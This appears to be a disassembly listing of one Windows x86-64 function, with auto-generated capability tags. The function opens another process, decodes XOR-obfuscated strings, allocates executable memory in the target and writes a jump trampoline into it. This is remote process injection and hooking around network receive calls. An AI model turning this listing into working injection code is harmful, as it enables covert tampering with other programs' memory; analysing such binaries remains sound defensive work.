Function at 0x14006f650
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x14013e0a0]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov r12d, ecx
mov qword [rbp - 0x60], 0xb848
mov r8d, ecx
mov dword [rbp - 0x58], 0xe0ff0000
mov ecx, 0x1fffff
mov qword [rbp - 0x70], 0xb948
xor edx, edx
mov dword [rbp - 0x68], 0xe1ff0000
mov dword [rbp - 0x50], 0x245c8948
mov dword [rbp - 0x4c], 0x74894810
mov dword [rbp - 0x48], 0x48571824
mov dword [rbp - 0x44], 0x4820ec83
mov qword [rbp - 0x40], 0xb8
mov dword [rbp - 0x38], 0xfa8b4800
mov dword [rbp - 0x34], 0xd0ffd98b
mov dword [rbp - 0x30], 0xfb83f08b
mov dword [rbp - 0x2c], 0x85487505
mov dword [rbp - 0x28], 0x484475c0
mov dword [rbp - 0x24], 0x30246c89
mov dword [rbp - 0x20], 0x8b90ed33
mov qword [rbp - 0x1c], 0x158d480f
mov dword [rbp - 0x14], 0x48df8b48
mov dword [rbp - 0x10], 0xf44f903
mov dword [rbp - 0xc], 0x483847b7
mov dword [rbp - 8], 0xff404f8b
mov dword [rbp - 4], socket
mov dword [rbp], 0x75c08500
mov dword [rbp + 4], 0x85078b0f
mov dword [rbp + 8], 0x890475c0
mov dword [rbp + 0xc], 0x102eb2b
mov dword [rbp + 0x10], 0xfb8b4803
mov dword [rbp + 0x14], 0xcb752b39
mov dword [rbp + 0x18], 0x246c8b48
mov dword [rbp + 0x1c], 0x48c68b30
mov dword [rbp + 0x20], 0x38245c8b
mov dword [rbp + 0x24], 0x24748b48
mov dword [rbp + 0x28], 0xc4834840
mov word [rbp + 0x2c], 0x5f20
mov byte [rbp + 0x2e], 0xc3
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14006f787
lea eax, [rbx - 1]
jmp 0x14006fb6d
mov qword [rsp + 0x180], rdi
xor edi, edi
mov ecx, edi
mov dword [rsp + 0x30], 0xe3eaf9e2
mov dword [rsp + 0x34], 0xfff6bffc
mov word [rsp + 0x38], 0xf8
mov byte [rsp + 0x3a], 1
nop
lea eax, [rcx - 0x74]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x14006f7b0
lea rdx, [rsp + 0x30]
mov byte [rsp + 0x3a], dil
mov ecx, r12d
call fcn.14006f2c0
mov rdx, rax
test rax, rax
jne 0x14006f7ed
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffe
jmp 0x14006fb65
movdqa xmm0, xmmword [0x14011ebf0]
mov rcx, rdi
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x140], r15
mov dword [rsp + 0x60], 0xcac7dbc7
mov dword [rsp + 0x64], 0xc1c1c4d8
mov word [rsp + 0x68], 0x100
nop dword [rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x18
jb 0x14006f820
lea r8, [rsp + 0x50]
mov byte [rsp + 0x69], dil
mov rcx, rbx
call fcn.14006f050
mov r15, rax
mov rcx, rbx
test rax, rax
jne 0x14006f85c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [r15 - 3]
jmp 0x14006fb5d
xor edx, edx
mov qword [rsp + 0x178], rsi
mov r9d, 0x3000
mov qword [rsp + 0x148], r14
mov dword [rsp + 0x20], 0x40
lea r8d, [rdx + 0x1c]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8, qword [0x1401bb440]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov r14, rax
lea r8, [r8*2 + 0x87]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test r14, r14
je 0x14006fb3f
test rax, rax
je 0x14006fb3f
mov ecx, reloc.WS2_32.dll_recv
mov qword [rsp + 0x78], rdi
call fcn.1400a09c8
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
mov rdx, r15
mov qword [rsp + 0x20], rdi
mov rcx, rbx
lea r9, [rax + 0x10]
mov qword [rbp - 0x80], r9
movups xmmword [rax], xmm0
mov r8, qword [rsp + 0x70]
mov qword [rsp + 0x78], r9
sub r9, r8
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x14006f91d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffffb
jmp 0x14006fb04
mov r9, qword [rsp + 0x78]
mov rdx, r14
mov r8, qword [rsp + 0x70]
sub r9, r8
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x14006f94f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffffa
jmp 0x14006fb04
lea rax, [r15 + 0x10]
mov qword [rsp + 0x20], rdi
lea rdx, [r14 + 0x10]
mov qword [rbp - 0x6e], rax
mov r9d, listen
lea r8, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x14006f987
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffff9
jmp 0x14006fb04
mov r9d, 0x7f
mov qword [rbp - 0x3f], r14
lea r8, [rbp - 0x50]
mov dword [rbp - 0x18], 0x4b
mov rdx, rsi
mov dword [rbp - 3], 0x2e
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14006f9c8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffff8
jmp 0x14006fb04
mov dword [rsp + 0x30], 0xe1fdeefb
mov rcx, rdi
mov dword [rsp + 0x34], 0xe2fcf3
mov byte [rsp + 0x38], 1
lea eax, [rcx - 0x74]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 7
jb 0x14006f9e0
mov byte [rsp + 0x38], dil
mov rdx, rdi
mov dword [rsp + 0x40], 0xfbfceef9
mov dword [rsp + 0x44], 0xf6e1f0f2
mov dword [rsp + 0x48], 0xfbfaf1ba
mov word [rsp + 0x4c], 0x100
nop word [rax + rax]
lea eax, [rdx - 0x74]
xor byte [rsp + rdx + 0x40], al
inc rdx
cmp rdx, 0xc
jb 0x14006fa20
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x4d], dil
mov ecx, r12d
call fcn.14006f2c0
lea r8, [rsp + 0x30]
mov rdx, rax
mov rcx, rbx
call fcn.14006f050
lea rdx, [rsi + 0x7f]
mov qword [rbp - 0x78], rax
mov r9d, 8
mov qword [rsp + 0x20], rdi
lea r8, [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x14006fa86
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffff7
jmp 0x14006fb04
mov rax, qword [0x1401bb440]
lea r8, [0x1401bb430]
cmp qword [0x1401bb448], 8
lea rdx, [rsi + 0x87]
mov qword [rsp + 0x20], rdi
cmovae r8, qword [0x1401bb430]
lea r9, [rax + rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x14006face
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffff6
jmp 0x14006fb04
mov r9d, listen
mov qword [rbp - 0x5e], rsi
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], rdi
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x14006fafe
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xfffffff5
jmp 0x14006fb04
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14006fb3b
mov rdx, qword [rbp - 0x80]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14006fb36
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006fb85
call fcn.1400a09c0
mov eax, edi
jmp 0x14006fb4d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffc
mov r14, qword [rsp + 0x148]
mov rsi, qword [rsp + 0x178]
mov r15, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x180]
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.1400a09a0
add rsp, 0x150
pop r12
pop rbx
pop rbp
ret
call fcn.1400d2350
int3